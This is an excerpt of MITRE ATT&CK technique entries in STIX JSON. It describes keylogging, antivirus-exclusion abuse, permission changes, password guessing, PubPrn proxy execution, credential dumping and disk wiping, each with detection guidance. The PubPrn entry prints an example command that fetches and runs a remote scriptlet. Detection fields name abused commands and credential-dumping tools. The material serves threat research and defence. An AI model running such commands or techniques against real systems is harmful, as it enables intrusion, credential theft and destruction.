            "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.",
            "x_mitre_domains": [
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            "id": "attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9",
            "created": "2024-03-29T16:59:10.374Z",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/012",
                    "external_id": "T1564.012"
                },
                {
                    "source_name": "Microsoft File Folder Exclusions",
                    "description": "Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"
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            "modified": "2025-04-15T22:35:31.731Z",
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            "description": "Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than  tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment.",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "x_mitre_version": "1.0",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345",
            "created": "2020-02-04T19:24:27.774Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1222/002",
                    "external_id": "T1222.002"
                },
                {
                    "source_name": "Hybrid Analysis Icacls1 June 2018",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
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                    "source_name": "Hybrid Analysis Icacls2 May 2018",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T22:46:00.944Z",
            "name": "Linux and Mac File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ",
            "kill_chain_phases": [
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                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include <code>chmod +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Metadata",
                "Command: Command Execution"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
            "created": "2020-02-11T18:38:22.617Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1110/001",
                    "external_id": "T1110.001"
                },
                {
                    "source_name": "Trend Micro Emotet 2020",
                    "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:04.272Z",
            "name": "Password Guessing",
            "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Mohamed Kmal"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "SaaS",
                "IaaS",
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                "macOS",
                "Containers",
                "Network Devices",
                "Office Suite",
                "Identity Provider",
                "ESXi"
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            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
            "created": "2020-02-03T16:49:57.788Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1216/001",
                    "external_id": "T1216.001"
                },
                {
                    "source_name": "pubprn",
                    "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn"
                },
                {
                    "source_name": "Enigma0x3 PubPrn Bypass",
                    "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.",
                    "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
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            "name": "PubPrn",
            "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).",
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                    "phase_name": "defense-evasion"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "Script: Script Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f",
            "created": "2020-10-02T17:05:43.562Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1597/002",
                    "external_id": "T1597.002"
                },
                {
                    "source_name": "ZDNET Selling Data",
                    "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
                    "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:58:36.430Z",
            "name": "Purchase Technical Data",
            "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "created": "2017-05-31T21:30:19.735Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003",
                    "external_id": "T1003"
                },
                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
                },
                {
                    "source_name": "Microsoft DRSR Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc228086.aspx"
                },
                {
                    "source_name": "Microsoft NRPC Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc237008.aspx"
                },
                {
                    "source_name": "Microsoft GetNCCChanges",
                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/dd207691.aspx"
                },
                {
                    "source_name": "Microsoft SAMR",
                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc245496.aspx"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Samba DRSUAPI",
                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                    "url": "https://wiki.samba.org/index.php/DRSUAPI"
                },
                {
                    "source_name": "Harmj0y DCSync Sept 2015",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
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            "modified": "2025-04-15T22:53:37.617Z",
            "name": "OS Credential Dumping",
            "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n",
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            "x_mitre_contributors": [
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                "Ed Williams, Trustwave, SpiderLabs",
                "Tim (Wadhwa-)Brown",
                "Yves Yonan"
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            "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/<pid>/maps`, where the `<pid>` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
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            "x_mitre_platforms": [
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                "Linux",
                "macOS"
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                "Process: Process Access",
                "Command: Command Execution",
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "created": "2017-05-31T21:31:40.542Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1129",
                    "external_id": "T1129"
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                {
                    "source_name": "RotaJakiro 2021 netlab360 analysis",
                    "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.",
                    "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"
                },
                {
                    "source_name": "Apple Dev Dynamic Libraries",
                    "description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.",
                    "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
                },
                {
                    "source_name": "Unit42 OceanLotus 2017",
                    "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"
                },
                {
                    "source_name": "Microsoft DLL",
                    "description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.",
                    "url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"
                },
                {
                    "source_name": "Linux Shared Libraries",
                    "description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.",
                    "url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
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            "description": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.",
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                    "url": "https://attack.mitre.org/techniques/T1602",
                    "external_id": "T1602"
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                {
                    "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
                    "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
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                {
                    "source_name": "US-CERT TA17-156A SNMP Abuse 2017",
                    "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A"
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                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
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            "description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",
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            "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)",
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            "x_mitre_platforms": [
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                    "url": "https://attack.mitre.org/techniques/T1561/002",
                    "external_id": "T1561.002"
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                {
                    "source_name": "format_cmd_cisco",
                    "description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"
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                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
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                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
                },
                {
                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
                },
                {
                    "source_name": "Symantec Shamoon 2012",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
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            "name": "Disk Structure Wipe",
            "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
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                    "url": "https://attack.mitre.org/techniques/T1498/001",
                    "external_id": "T1498.001"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
